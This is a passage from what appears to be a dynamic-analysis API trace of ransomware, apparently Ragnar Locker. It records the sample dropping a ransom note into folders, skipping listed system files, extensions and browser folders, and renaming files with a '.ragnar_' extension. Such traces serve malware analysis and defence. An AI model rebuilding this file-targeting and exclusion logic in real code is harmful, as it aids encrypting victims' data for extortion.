returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\RGNR_FD7BD9FC.txt" [0056.962] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ko-kr\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0056.964] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\*.*" [0056.964] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0056.964] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0056.964] lstrcpyW (in: lpString1=0x1ea74e, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0056.964] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7430da60, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7430da60, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0056.964] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0056.964] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7430da60, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7430da60, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.964] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0056.964] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0056.964] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7430da60, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7430da60, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0056.964] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0056.964] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0056.964] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4e1cef6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe507e4c6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe507e4c6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0056.964] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2=".") returned 1 [0056.964] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="..") returned 1 [0056.965] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4e1cef6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe507e4c6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe507e4c6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0056.965] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0056.965] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7430da60, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7430da60, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0056.965] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x7430da60, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7430da60, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.965] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7430da60, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7430da60, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0056.965] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0056.965] lstrcpyW (in: lpString1=0x1eab62, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0056.965] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\RGNR_FD7BD9FC.txt") returned=".txt" [0056.965] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0056.965] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4e1cef6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe507e4c6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe507e4c6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0056.965] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0056.965] lstrcpyW (in: lpString1=0x1eab62, lpString2="tipresx.dll.mui" | out: lpString1="tipresx.dll.mui") returned="tipresx.dll.mui" [0056.965] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\tipresx.dll.mui") returned=".mui" [0056.965] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0056.965] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="autorun.inf") returned 1 [0056.965] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="boot.ini") returned 1 [0056.965] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootfont.bin") returned 1 [0056.965] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootsect.bak") returned 1 [0056.965] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgr") returned 1 [0056.965] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgr.efi") returned 1 [0056.965] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgfw.efi") returned 1 [0056.965] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="desktop.ini") returned 1 [0056.965] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="iconcache.db") returned 1 [0056.965] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntldr") returned 1 [0056.965] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.dat") returned 1 [0056.965] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.dat.log") returned 1 [0056.965] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.ini") returned 1 [0056.965] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="thumbs.db") returned 1 [0056.965] lstrcmpiW (lpString1=".mui", lpString2=".db") returned 1 [0056.966] lstrcmpiW (lpString1=".mui", lpString2=".sys") returned -1 [0056.966] lstrcmpiW (lpString1=".mui", lpString2=".dll") returned 1 [0056.966] lstrcmpiW (lpString1=".mui", lpString2=".lnk") returned 1 [0056.966] lstrcmpiW (lpString1=".mui", lpString2=".msi") returned 1 [0056.966] lstrcmpiW (lpString1=".mui", lpString2=".drv") returned 1 [0056.966] lstrcmpiW (lpString1=".mui", lpString2=".exe") returned 1 [0056.966] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ko-kr\\tipresx.dll.mui")) returned 0x20 [0056.966] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ko-kr\\tipresx.dll.mui"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0056.966] CloseHandle (hObject=0xffffffff) returned 0 [0056.966] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\tipresx.dll.mui" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\tipresx.dll.mui") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\tipresx.dll.mui" [0056.966] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\tipresx.dll.mui", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\tipresx.dll.mui.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\tipresx.dll.mui.ragnar_FD7BD9FC" [0056.966] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ko-kr\\tipresx.dll.mui"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\tipresx.dll.mui.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ko-kr\\tipresx.dll.mui.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0056.966] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4e1cef6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe507e4c6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe507e4c6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0056.966] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0056.966] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt-LT", cAlternateFileName="")) returned 1 [0056.966] lstrcmpiW (lpString1="lt-LT", lpString2=".") returned 1 [0056.966] lstrcmpiW (lpString1="lt-LT", lpString2="..") returned 1 [0056.966] lstrcmpiW (lpString1="lt-LT", lpString2="Windows") returned -1 [0056.966] lstrcmpiW (lpString1="lt-LT", lpString2="Windows.old") returned -1 [0056.966] lstrcmpiW (lpString1="lt-LT", lpString2="Tor browser") returned -1 [0056.966] lstrcmpiW (lpString1="lt-LT", lpString2="Internet Explorer") returned 1 [0056.966] lstrcmpiW (lpString1="lt-LT", lpString2="Google") returned 1 [0056.967] lstrcmpiW (lpString1="lt-LT", lpString2="Opera") returned -1 [0056.967] lstrcmpiW (lpString1="lt-LT", lpString2="Opera Software") returned -1 [0056.967] lstrcmpiW (lpString1="lt-LT", lpString2="Mozilla") returned -1 [0056.967] lstrcmpiW (lpString1="lt-LT", lpString2="Mozilla Firefox") returned -1 [0056.967] lstrcmpiW (lpString1="lt-LT", lpString2="$Recycle.Bin") returned 1 [0056.967] lstrcmpiW (lpString1="lt-LT", lpString2="ProgramData") returned -1 [0056.967] lstrcmpiW (lpString1="lt-LT", lpString2="All Users") returned 1 [0056.967] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0056.967] lstrcpyW (in: lpString1=0x1eb62e, lpString2="lt-LT" | out: lpString1="lt-LT") returned="lt-LT" [0056.967] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\" [0056.967] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\" [0056.967] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\RGNR_FD7BD9FC.txt" [0056.967] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lt-lt\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0056.994] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\*.*" [0056.994] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0056.994] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0056.994] lstrcpyW (in: lpString1=0x1ea74e, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0056.994] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x74359d20, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x74359d20, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0056.995] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0056.995] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x74359d20, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x74359d20, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.995] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0056.995] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0056.995] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74359d20, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x74359d20, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0056.995] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0056.995] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0056.995] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe608f802, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe627e9bb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe62a4b18, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0056.995] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2=".") returned 1 [0056.995] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="..") returned 1 [0056.995] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe608f802, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe627e9bb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe62a4b18, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0056.995] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0056.995] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x74359d20, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x74359d20, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0056.995] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x74359d20, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x74359d20, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.995] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74359d20, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x74359d20, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0056.995] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0056.995] lstrcpyW (in: lpString1=0x1eab62, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0056.996] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\RGNR_FD7BD9FC.txt") returned=".txt" [0056.996] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0056.996] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe608f802, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe627e9bb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe62a4b18, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0056.996] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x40 [0056.996] lstrcpyW (in: lpString1=0x1eab62, lpString2="tipresx.dll.mui" | out: lpString1="tipresx.dll.mui") returned="tipresx.dll.mui" [0056.996] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\tipresx.dll.mui") returned=".mui" [0056.996] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0056.996] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="autorun.inf") returned 1 [0056.996] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="boot.ini") returned 1 [0056.996] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootfont.bin") returned 1 [0056.996] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootsect.bak") returned 1 [0056.996] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgr") returned 1 [0056.996] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgr.efi") returned 1 [0056.996] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="bootmgfw.efi") returned 1 [0056.996] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="desktop.ini") returned 1 [0056.996] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="iconcache.db") returned 1 [0056.996] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntldr") returned 1 [0056.996] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.dat") returned 1 [0056.996] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.dat.log") returned 1 [0056.996] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="ntuser.ini") returned 1 [0056.996] lstrcmpiW (lpString1="tipresx.dll.mui", lpString2="thumbs.db") returned 1 [0056.996] lstrcmpiW (lpString1=".mui", lpString2=".db") returned 1 [0056.996] lstrcmpiW (lpString1=".mui", lpString2=".sys") returned -1 [0056.996] lstrcmpiW (lpString1=".mui", lpString2=".dll") returned 1 [0056.996] lstrcmpiW (lpString1=".mui", lpString2=".lnk") returned 1 [0056.996] lstrcmpiW (lpString1=".mui", lpString2=".msi") returned 1 [0056.996] lstrcmpiW (lpString1=".mui", lpString2=".drv") returned 1 [0056.996] lstrcmpiW (lpString1=".mui", lpString2=".exe") returned 1 [0056.996] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft 